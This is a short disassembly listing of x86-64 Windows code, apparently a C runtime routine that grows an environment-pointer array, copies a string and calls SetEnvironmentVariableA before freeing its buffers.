movsxd rdx, eax
shl rdx, 3
call fcn.00422f20
test rax, rax
mov r11, rax
jne 0x424d02
lea eax, [r11 - 1]
mov rdi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x58]
mov r13, qword [rsp + 0x38]
mov r15, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
add rsp, 0x48
ret
movsxd rax, edi
mov qword [r11 + rax*8], rsi
mov qword [r11 + rax*8 + 8], r12
mov qword [0x004369c8], r11
test r15d, r15d
je 0x424d86
xor eax, eax
mov rbx, 0xffffffffffffffff
mov rdi, rsi
mov rcx, rbx
repne scasb al, byte [rdi]
not rcx
inc rcx
call fcn.00422e20
test rax, rax
mov rdi, rax
je 0x424d86
mov rdx, rsi
sub rax, rsi
nop
nop
nop
movzx ecx, byte [rdx]
inc rdx
test cl, cl
mov byte [rax + rdx - 1], cl
jne 0x424d50
lea rdx, [rax + r14]
mov rcx, rdi
mov byte [rdx], r12b
inc rdx
test r13d, r13d
cmovne rdx, r12
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rcx, rdi
test eax, eax
cmove r12d, ebx
call fcn.0041fe90
test r13d, r13d
je 0x424d93
mov rcx, rsi
call fcn.0041fe90
mov eax, r12d
jmp 0x424cd5
mov rcx, rsi
call fcn.0041fe90
xor eax, eax
jmp 0x424cd5
mov eax, 0xffffffff
jmp 0x424ce4